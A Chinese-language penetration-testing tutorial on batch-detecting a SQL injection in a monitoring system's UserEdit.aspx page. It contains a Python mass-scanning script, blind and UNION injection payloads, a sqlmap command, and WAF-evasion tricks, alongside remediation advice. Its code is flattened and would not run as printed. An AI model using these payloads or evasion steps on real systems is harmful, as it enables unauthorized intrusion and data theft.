SQL注入漏洞批量挖掘实战：从原理到自动化检测脚本编写

1. 项目概述：一次典型的批量漏洞挖掘实战复盘

最近在整理内部资产安全评估的案例库，翻到了一个挺有意思的案例，是关于“华测监测预警系统2.2”版本中一个SQL注入漏洞的批量挖掘过程。这个漏洞的CVE编号是CVE-2022-24876，影响点在UserEdit.aspx页面。当时我们面对的是一个规模不小的内网环境，里面部署了多套同类型的系统，手动一个个去测显然不现实，所以整个项目核心就落在了“如何高效、精准地批量识别并验证这个漏洞”上。这不仅仅是找到一个漏洞点那么简单，更是一次对自动化漏洞挖掘流程、工具链整合以及风险规避策略的完整实战。如果你也经常需要处理大量同类资产的安全测试，或者对Web漏洞的自动化挖掘感兴趣，那这个案例里的思路和踩过的坑，或许能给你带来一些直接的参考价值。

简单来说，这个漏洞允许攻击者通过构造特定的请求参数，在UserEdit.aspx页面的某个参数处注入恶意的SQL代码，从而可能窃取、篡改或删除数据库中的敏感信息，比如用户账号、密码哈希等。对于防守方而言，这是一个需要紧急修补的高危漏洞；而对于渗透测试人员或安全研究员，它则是一个绝佳的批量检测入口点。接下来，我会从漏洞原理、批量探测脚本的编写思路、实际踩坑记录以及后续的扩展思考几个方面，把这次实战的完整链条拆解清楚。

2. 漏洞原理与影响范围深度解析

2.1 CVE-2022-24876 漏洞成因剖析

要高效地批量挖掘，首先得吃透漏洞本身。华测监测预警系统2.2版本中的UserEdit.aspx文件，是一个用于编辑用户信息的后台页面。根据公开的漏洞详情和我们的代码审计（在获得授权的情况下对类似版本进行了分析），问题出在对用户提交的某个参数没有进行充分的过滤和校验。

通常，这类系统在处理前端传递的用户ID（例如uid或id参数）时，会直接将其拼接到SQL查询语句中。规范的写法应该使用参数化查询（Parameterized Query）或至少进行严格的转义。但在这个漏洞场景下，代码可能类似于：string sql = "SELECT * FROM [User] WHERE ID=" + Request.QueryString["id"];当攻击者控制id参数，并传入类似1 AND 1=2 UNION SELECT username, password FROM [User]的值时，原本的查询逻辑就被改变了。后端数据库（通常是SQL Server，因为这类系统多见于Windows环境）会执行这段拼接后的SQL语句，导致数据泄露。

这个漏洞有几个关键特征：

1. 注入点类型：基于GET请求的数字型注入。这意味着注入参数本身被期望是一个整数，这会影响我们Payload的构造方式（例如，通常不需要闭合引号）。
2. 页面权限：UserEdit.aspx通常位于后台管理目录下，需要一定的权限才能访问。但在实际环境中，存在默认弱口令、权限配置不当或通过其他漏洞获取了会话（Session）的情况，使得攻击者能够触及此页面。
3. 数据库类型：结合系统特性，推断为Microsoft SQL Server。这决定了后续注入利用时，我们所使用的特定函数和语法（如@@version查版本，sysobjects查表名）。

注意：这里对代码的推断是基于常见漏洞模式和部分公开信息进行的合理分析。在实际授权测试中，应优先使用黑盒或灰盒的探测方式，避免直接接触未授权的源代码。

2.2 影响范围与批量挖掘的价值

为什么这个漏洞适合批量挖掘？原因在于它的“普遍性”和“标识性”。

• 版本固定：“2.2版本”是一个明确的标识。在互联网空间测绘或内网资产梳理中，我们可以通过特征（如特定的Title、Cookie、静态文件哈希、响应头）来相对准确地识别出运行此版本的系统。
• 路径固定：漏洞URL路径（/somePath/UserEdit.aspx）通常是可预测的，尽管根路径可能因安装配置而异。
• 危害直接：SQL注入可直接导致数据泄露，是高风险漏洞。批量发现此类问题，能为资产所有者提供清晰、紧迫的修复清单。

我们的目标，就是从一堆IP或域名中，快速筛选出存在此漏洞的“活”系统，并完成验证，输出一份可信的报告。这个过程，就是一次小型的、针对性的自动化漏洞挖掘项目。

3. 批量探测工具链的设计与选型

手动用浏览器和抓包工具测试几个目标还行，面对成百上千个目标时就力不从心了。自动化是必由之路。我们的工具链设计核心是：灵活、稳健、可记录。

3.1 核心工具：Python + Requests库

选择Python作为主力，是因为它在网络请求、文本处理、并发控制方面有强大的库支持，且编写快速。Requests库比原生urllib更简洁优雅。

import requests import sys from concurrent.futures import ThreadPoolExecutor, as_completed

我们还需要argparse处理命令行参数，colorama（可选）让终端输出更友好，以及logging或自己写文件操作来保存结果。

3.2 辅助与验证工具

1. 资产清单生成器：这可能来自内部的CMDB、使用Nmap扫描的结果（nmap -sV --script http-title -p80,443,8080 IP段 -oA web_services），或从互联网测绘平台（如FOFA、Shodan）导出的数据。关键是要有一份http://ip:port或https://domain格式的URL列表。
2. 漏洞验证逻辑：这是脚本的核心。我们不能仅仅发送一个单引号‘看是否报错，因为那样误报率太高。需要设计能证明漏洞存在的“布尔盲注”或“时间盲注”Payload。
3. 并发控制器：使用ThreadPoolExecutor控制并发线程数，避免对目标造成过大压力或自身网络资源耗尽。一般设置在20-50之间较为稳妥。
4. 结果记录器：将成功的目标、使用的Payload、响应特征（如响应长度、时间）记录到文本文件或CSV中，便于后续复核和报告编写。

3.3 为什么不用现成的扫描器？

像Sqlmap这样的神器当然能检测SQL注入。但在批量场景下直接调用Sqlmap有几个问题：

• 效率：Sqlmap默认的检测流程较慢，每个目标都要进行大量Payload测试。
• 噪音：会产生大量流量，容易被WAF拦截并记录。
• 针对性不足：它是通用扫描器，而我们已知漏洞的精确位置和类型，可以定制更精准、更快速的检测逻辑。 因此，我们的脚本是“精准狙击枪”，而不是“地毯式轰炸机”。当然，在验证了漏洞存在后，可以用Sqlmap进一步获取数据，那是另一个阶段的任务。

4. 精准探测脚本的编写与核心逻辑实现

下面，我以Python为例，拆解这个批量探测脚本的关键部分。请注意，此脚本仅用于授权测试环境学习，请勿用于未授权测试。

4.1 第一步：设计低干扰的探测Payload

对于数字型注入，一个经典的布尔盲注探测Payload如下：1 AND 1=1和1 AND 1=2如果页面在1=1时返回正常内容（例如包含“编辑成功”或特定用户信息），而在1=2时返回异常（空白、错误信息或内容缺失），那么就可能存在注入。

为了增加可靠性，我们可以设计一个基于数据库版本号的真/假条件：

• 真条件Payload：1 AND @@VERSION>0(对于SQL Server，@@VERSION永远返回真值)
• 假条件Payload：1 AND @@VERSION<0(这永远为假)

我们需要先访问一次UserEdit.aspx?id=1（假设用户ID 1存在），记录下正常响应内容（如特定字符串或整个响应体的MD5值）。然后分别用真、假Payload去请求，对比响应差异。

def probe_target(url): """ 对单个目标进行漏洞探测 """ # 1. 构建漏洞URL，假设常见路径为 /sys/UserEdit.aspx vuln_url = url.rstrip('/') + '/sys/UserEdit.aspx' # 2. 获取正常响应基线 baseline_payload = {'id': '1'} try: baseline_resp = requests.get(vuln_url, params=baseline_payload, timeout=10, verify=False) baseline_text = baseline_resp.text # 提取一个特征字符串，例如页面标题中的“用户编辑” if “用户编辑” not in baseline_text: # 可能页面不存在，或需要登录，或ID=1的用户不存在 return False, “基线页面特征不符” except requests.exceptions.RequestException as e: return False, f“请求失败: {e}” # 3. 发送真条件Payload true_payload = {'id': '1 AND @@VERSION>0'} try: true_resp = requests.get(vuln_url, params=true_payload, timeout=10, verify=False) true_text = true_resp.text except requests.exceptions.RequestException: return False, “真条件请求失败” # 4. 发送假条件Payload false_payload = {'id': '1 AND @@VERSION<0'} try: false_resp = requests.get(vuln_url, params=false_payload, timeout=10, verify=False) false_text = false_resp.text except requests.exceptions.RequestException: return False, “假条件请求失败” # 5. 关键判断逻辑：对比真/假响应与基线的差异 # 方法1：简单关键字判断（如果页面有明确成功/失败提示） if “用户信息” in true_text and “用户信息” not in false_text: return True, “布尔盲注特征明显” # 方法2：计算响应长度差异（更通用） baseline_len = len(baseline_text) true_len = len(true_text) false_len = len(false_text) # 如果真条件响应长度与基线接近，而假条件响应长度差异巨大，则可能存在注入 if abs(true_len - baseline_len) < 50 and abs(false_len - baseline_len) > 200: return True, f“响应长度差异显著 (真:{true_len}, 假:{false_len}, 基:{baseline_len})” # 方法3：使用更精细的页面相似度比较（如difflib），这里略过 return False, “未检测到明显注入特征”

4.2 第二步：实现批量并发探测引擎

有了单目标探测函数，批量就靠并发来提速。

def batch_scan(url_list_file, max_workers=20): """ 从文件读取URL列表，进行并发探测 """ with open(url_list_file, 'r', encoding='utf-8') as f: targets = [line.strip() for line in f if line.strip()] vulnerable_targets = [] with ThreadPoolExecutor(max_workers=max_workers) as executor: # 为每个目标提交探测任务 future_to_url = {executor.submit(probe_target, url): url for url in targets} for future in as_completed(future_to_url): url = future_to_url[future] try: is_vuln, message = future.result() if is_vuln: print(f“[+] 漏洞存在: {url} - {message}”) vulnerable_targets.append((url, message)) else: print(f“[-] 安全或无效: {url} - {message}”) except Exception as exc: print(f“[!] {url} 探测过程产生异常: {exc}”) # 将结果保存到文件 with open('vulnerable_targets.txt', 'w', encoding='utf-8') as f: for target, msg in vulnerable_targets: f.write(f“{target} | {msg}\n”) print(f“\n扫描完成。共发现 {len(vulnerable_targets)} 个潜在脆弱目标，结果已保存。”)

4.3 第三步：添加健壮性与日志功能

一个生产可用的脚本还需要考虑：

• 超时控制：每个请求必须设置超时（如timeout=10），防止卡死。
• 错误处理：妥善处理连接错误、超时、SSL证书错误等。
• 请求头伪装：添加常见的User-Agent头，降低被简单拦截的概率。
• 速率限制：可以在线程池中加入随机延时（time.sleep(random.uniform(0.5, 1.5))），避免触发目标的速率限制。
• 详细日志：不仅记录成功目标，也记录失败原因，便于后期分析扫描质量。

5. 实战踩坑记录与排查技巧

理论很美好，实战却总是充满“惊喜”。下面分享几个在本次批量挖掘中遇到的实际问题及解决方法。

5.1 坑一：404 Not Found 与路径枚举

我们假设漏洞路径是/sys/UserEdit.aspx，但实际安装时，根路径可能是/、/ctais/、/hcyj/等。脚本一开始跑，大部分目标都返回404。

解决方案：路径字典枚举。

1. 收集常见路径。通过搜索引擎、历史项目记录、分析同类系统安装包，整理一个可能的后台路径列表，如[‘/sys/’, ‘/admin/’, ‘/manage/’, ‘/platform/’, ‘/’]。
2. 修改探测函数，先进行路径存活探测。用一个简单的HEAD或GET请求，判断状态码==200且页面包含某些关键字（如“用户”、“编辑”）。
3. 或者更暴力但有效的方法：直接尝试多个路径拼接，直到找到一个返回非404且包含特征字的响应为止。这需要更复杂的逻辑和错误处理。

5.2 坑二：会话（Session）与认证绕过

大部分后台UserEdit.aspx需要登录后才能访问。直接访问会跳转到登录页或返回403。

解决方案：分情况处理。

• 情况A：测试环境已知弱口令。如果是在授权测试中，并且已知系统存在默认账号密码（如admin/admin），那么脚本需要先实现一个登录函数，获取Cookie或Session，并带入后续的探测请求中。

  def login_and_get_session(base_url, username, password): login_url = base_url + ‘/login.aspx’ session = requests.Session() # 可能需要先GET一次获取视图状态（__VIEWSTATE）等隐藏参数 # 然后POST提交登录数据 login_data = {‘UserName’: username, ‘Password’: password, ‘__VIEWSTATE’: viewstate} resp = session.post(login_url, data=login_data) if “登录成功” in resp.text or session.cookies.get(‘ASP.NET_SessionId’): return session return None

• 情况B：黑盒测试且无凭证。这时，这个漏洞的利用前提就不成立。批量扫描的目的就变成了“发现那些未授权即可访问后台或存在认证绕过漏洞的系统”。我们可以尝试直接访问漏洞页面，如果返回了数据而非跳转，那本身就是一个严重的安全配置问题，需要单独记录。

5.3 坑三：WAF/IPS拦截与指纹识别

批量发送带有AND、@@VERSION等关键词的请求，很容易被Web应用防火墙（WAF）或入侵防御系统（IPS）识别并拦截，返回403、500或特定的挑战页面（如Cloudflare的验证页）。

解决方案：流量特征淡化与随机化。

1. 参数污染：添加多个无意义的参数来干扰简单的模式匹配。例如：id=1&t=123&random=abc&id=1 AND @@VERSION>0。有些WAF只检查第一个id参数。
2. Payload分割与编码：尝试URL编码、十六进制编码。例如，将空格编码为%20或%0a（换行符）。AND可以尝试写成%41%4e%44（十六进制）。但注意，SQL Server是否识别这些编码后的字符。
3. 请求头伪装：使用常见的浏览器User-Agent，并添加Referer、X-Forwarded-For等头，让请求看起来更像正常用户行为。
4. 延迟探测：在请求间加入随机延时，避免高频请求触发速率限制。
5. 识别WAF：在发送注入Payload前，可以先发送一个正常请求，分析响应头中是否包含Server、X-Powered-By等字段，或者响应体是否有cloudflare、360wzws、yunsuo等关键词，来判断是否存在WAF。如果存在，则需要调整策略或标记该目标需要人工复核。

5.4 坑四：假阳性与假阴性

• 假阳性：页面因为其他原因（如ID不存在、参数错误）返回了不同内容，被我们的长度比较逻辑误判为注入成功。
  • 应对：采用更稳健的判别方法。例如，使用多个不同的真/假Payload组合（如@@VERSION>0,USER_NAME()=‘dbo’,1=1等），只有多个条件都满足差异时才判定为漏洞。或者，尝试提取页面中一个稳定的“内容片段”（如某个<div>的id或class）进行比较，而不是整个HTML长度。
• 假阴性：漏洞存在，但我们的Payload没触发。可能是：
  • 注入点不是id参数，而是其他参数。
  • 数据库不是SQL Server，我们的@@VERSIONPayload无效。
  • 存在过滤，拦截了AND、空格等关键词。
  • 应对：实施更全面的参数枚举和Payload测试。可以先用一个简单的单引号‘测试是否有报错信息回显。如果有，则证明存在注入点，再调整Payload类型（报错注入、联合查询注入、盲注）。

6. 结果整理与风险报告输出

批量扫描结束后，我们得到了一份“潜在脆弱目标列表”。但这还不是最终成果，需要经过人工复核和报告整理。

6.1 人工复核验证

脚本标记出的目标，需要手动用浏览器或Sqlmap进行快速验证。

1. 浏览器验证：登录系统（如果有权限），访问UserEdit.aspx?id=1，然后分别访问id=1 AND 1=1和id=1 AND 1=2，观察页面内容变化。或者使用更直观的Payload，如id=1; WAITFOR DELAY ‘0:0:5’--（时间盲注），看页面响应是否延迟5秒。
2. Sqlmap验证：这是最权威的方式。使用命令：

   sqlmap -u “http://target/sys/UserEdit.aspx?id=1” --cookie=“ASP.NET_SessionId=xxx” --batch --level=2

   如果Sqlmap确认存在注入，那么漏洞就坐实了。

6.2 编写漏洞报告

对于确认存在的漏洞，需要撰写清晰的风险报告。报告不应只是脚本输出，而应包含：

1. 漏洞标题：明确写出系统、版本、漏洞类型和文件，如“华测监测预警系统V2.2 UserEdit.aspx SQL注入漏洞（CVE-2022-24876）”。
2. 风险等级：通常定为“高危”。
3. 漏洞描述：简要说明漏洞原理及可能的影响。
4. 影响范围：列出所有确认存在漏洞的IP/URL。
5. 复现步骤：
   • 步骤1：登录系统后台（提供测试账号）。
   • 步骤2：访问http://[目标]/sys/UserEdit.aspx?id=1。
   • 步骤3：将参数修改为id=1 AND 1=2 UNION SELECT null, null, null, user_name(), null, null...（根据实际情况调整列数），观察页面返回了数据库当前用户名，证明注入存在。
6. 修复建议：
   • 立即升级到官方最新版本。
   • 临时缓解措施：在服务器端对id参数进行严格的数字类型校验（如使用int.TryParse），并采用参数化查询方式执行SQL语句。
   • 对UserEdit.aspx等后台功能页面加强访问权限控制。

6.3 项目总结与扩展思考

这次批量漏洞挖掘项目，本质上是一次基于已知漏洞特征的自动化资产风险筛查。其成功的关键在于：

1. 精准的特征定义：明确的版本、路径和漏洞参数。
2. 稳健的探测逻辑：基于布尔逻辑的真/假响应比对，而非简单的错误匹配。
3. 工程化的处理：并发控制、错误处理、日志记录，使得流程可以无人值守运行。

这个模式可以复用到其他类似的漏洞上，例如：

• 其他系统的已知SQL注入、XSS、命令执行漏洞。
• 框架或组件的通用型漏洞（如Struts2、Log4j2）。
• 默认口令、未授权访问的批量检测。

最后一点个人体会：自动化脚本大大提升了效率，但它永远不能完全替代安全工程师的判断。脚本的作用是“筛选”和“初筛”，将海量目标缩小到可疑范围。最终的风险确认、影响评估和修复方案制定，仍然需要依靠人的经验和专业知识。在编写这类脚本时，务必把“减少误报”和“避免对目标造成损害”放在首位，每一个Payload都要深思熟虑，每一次扫描都要明确授权边界。